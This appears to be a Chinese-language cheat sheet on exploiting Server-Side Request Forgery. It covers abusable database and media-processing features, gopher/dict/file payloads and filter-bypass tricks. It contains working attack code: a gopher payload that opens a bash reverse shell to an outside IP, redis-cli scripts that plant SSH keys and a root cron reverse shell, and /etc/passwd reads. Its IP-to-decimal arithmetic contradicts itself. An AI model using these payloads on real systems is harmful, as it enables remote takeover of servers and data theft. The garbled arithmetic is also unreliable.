全称
Server-Side Request Forgery
服务器端请求伪造,是一种经攻击者构造形成由服务端发起请求的一个安全漏洞。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
可利用的点
节选自猪猪侠的《build your ssrf framework》
XML
DTD Remote Access
XML 外部实体
URL调用
-
数据库自带的访问网络的功能
MongoDBdb.copyDatabase('\r\nconfig set dbfilename wyssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
Oracle
select UTL_HTTP.REQUEST('http://'||(select version from v$nstance)||'test.com') from dual
PostgresSQL
SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' password=1 port=6379 sslmode=disable', 'select version();');
MSSQLSELECT openrowset('SQLOLEDB','server=192.168.1.5;uid=sa;pwd=sa;database=master')
SELECT * FROM OpenDatasource('SQLOLEDB','Data Source=ServerName;User ID=sa;Password=sa').Northwind.dbo.Categories
CouchDB
POST http://couchdb-server:5984/_replicate
Content-Type: application/json
Accept: application/json
{ "source" : "recipes",
"target" : "dict://redis.wuyun.org:6379/flushall",}
- 应用系统中设置远程服务器的功能
- 文件处理、编码处理、属性信息处理(应用系统的自动预览功能)
- FFmpeg
concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
- ImageMagick (mvg)
fill 'url(http://wyssrf.wuyun.org)'
- XML parsers ( XSLT ) XSLT包含了100个内置函数(能访问网络?)
document() include() import()
- FFmpeg
- python urllib http头注入,好像是哪个cve?
利用如下的urlhttp://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:ur10ser/test
服务器返回
GET /test HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :ur10ser
Connection: close
协议扩大攻击面
主要攻击 redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,主要利用gopher
协议,以及file
、dict
。
dict://fuzz.wuyun.org:8080/helo:dict
file:///etc/passwd
注意
大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents
的 gopher 协议不能 UrlEncode
file_get_contents
关于 Gopher 的 302 跳转有 bug,导致利用失败
curl/libcurl 7.43
上 gopher 协议存在 bug(%00 截断),7.45以上无此bug
curl_exec()
默认不跟踪跳转,
file_get_contents()
支持php://input
协议
java中支持的协议更为有限,file ftp mailto http https jar netdoc
,比较有用的就file和http协议了。
构造Gopher载荷
gopher可以向任何端口发送任意形式的请求,构造方法与http类似。基本结构如下:
URL:gopher://
比如http的POST请求,在gopher中是这样的
gopher://test.com/_POST /exp.php HTTP/1.1%0d%0aHost: test.com_ip%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null
以喜闻乐见的redis为例。替换成自己的redis IP和端口。
上传公钥的脚本
(echo -e "\n\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n\n") > upload.txt
cat ~/upload.txt | redis-cli -h $1 -p $2 -x set tmp
redis-cli -h $1 -p $2 -x config set dir /root/.ssh
redis-cli -h $1 -p $2 -x config set dbfilename authorized_keys
redis-cli -h $1 -p $2 -x get tmp
redis-cli -h $1 -p $2 -x save
redis-cli -h $1 -p $2 -x quit
反弹shell的脚本
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
用socat监听4444端口,将流量转发到6379端口,同时会把请求流量记录到文件
socat -v tcp-listen:4444,fork tcp-connect:192.168.70.128:6379 2>&1|tee socat.log
执行脚本 bash shell.sh 127.0.0.1 4444
,图略
为了将流量转化为gopher协议,先了解下socat记录tcp流的格式:
-
>
开头一行表示客户端发送了一个tcp包 -
<
开头一行表示服务器返回了一个tcp包
基于以上格式,要这么转换
- 字符串
\r
替换成%0d%0a
- 空白行替换为
%0a
- 空格替换成
%20
- 再使用
urlencode
(给php时会做一次decode,curl再做一次decode)
....
# 判断倒数第2、3字符串是否为\r
if line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace(' ', '%20')
line = line.replace('\n', '')
exp = exp + line
exp=quote(exp)
如果是单次请求如php fastcgi
,可以考虑用nc -lvvp 9000>1.txt
来转储请求包
绕过
数字地址绕过
一般来说,开发者会使用正则对传入的URL进行匹配,过滤掉内网IP,比如:
192.168.*.*
、10.0.*.*
等。
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-
5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
四位点分十进制形式的IP地址127.0.0.1
代表一组32位二进制数码,如果合在一起再转换成一个十进制数的话,答案就是1945096731。
127*256^3
+0*256^2
+0*256^1
+1*256^0
=
1929379840+15663104+53760+27=2130706433
比如:百度的IP地址“119.75.218.77”转换成数字地址就是“2001459789”
可以改变ip的写法来绕过,各进制可以互相混用
- 8进制格式:0300.0250.0.1
- 16进制格式:0xC0.0xA8.0.1
- 10进制整数格式:3232235521
- 16进制整数格式:0xC0A80001
xip.io
和nip.io
这是一个神奇的域名,nslookup 127.127.127.127.xip.io
看看
利用URL解析的问题
完整的URL scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
许多URL方案保留某些特殊含义的字符:字符“;”,“/”,“?”,“:”,“@”,“=”和“&”可以保留用于方案内的特殊含义。在方案中不能保留其他字符。
分号(“;”)和等于(“=”)保留字符通常用于分隔适用于该段的参数和参数值。逗号(“,”)保留字符通常用于类似目的。
http://[email protected]
http://google.com:[email protected]:22/#[email protected]:80/
http://127.88.23.245:22/[email protected]:80#[email protected]:80/
http://google.com:[email protected]:80#[email protected]:22/
http://127.88.23.245:22/[email protected]:80/
http://127.88.23.245:22/#@www.google.com:80/
其他办法
- URL任意跳转 找到一个子域名或者白名单域名的任意跳转
- 重定向
- 利用符号,比如点号换成句号,或者利用
Enclosed alphanumerics
-
Dns Rebinding
自建DNS服务器,服务端第一次进行解析返回的是内网ip,绕过验证之后,真正发起请求时解析的结果反而是外网ip。域名的ttl时间要设置为0
测试工具
https://github.com/swisskyrepo/SSRFmap 整合了常见的内网应用的攻击面
https://github.com/iamultra/ssrfsocks 顾名思义,利用SSRF+Gopher做成一个socks代理
https://github.com/tarunkant/Gopherus 构造常见的内网应用的gopher请求
修复建议
限制请求的协议为http或者https?
提取host,验证ip是否为内网?
好像并没有什么好的修复方法。
参考
https://blog.chaitin.cn/gopher-attack-surfaces/
https://www.cnblogs.com/mrchang/p/6254634.html
https://github.com/cujanovic/SSRF-Testing 有转换ip的脚本
https://anemone.top/ssrf-SSRF%E6%88%90%E5%9B%A0%E3%80%81%E6%94%BB%E5%87%BB%E5%92%8C%E9%98%B2%E5%BE%A1/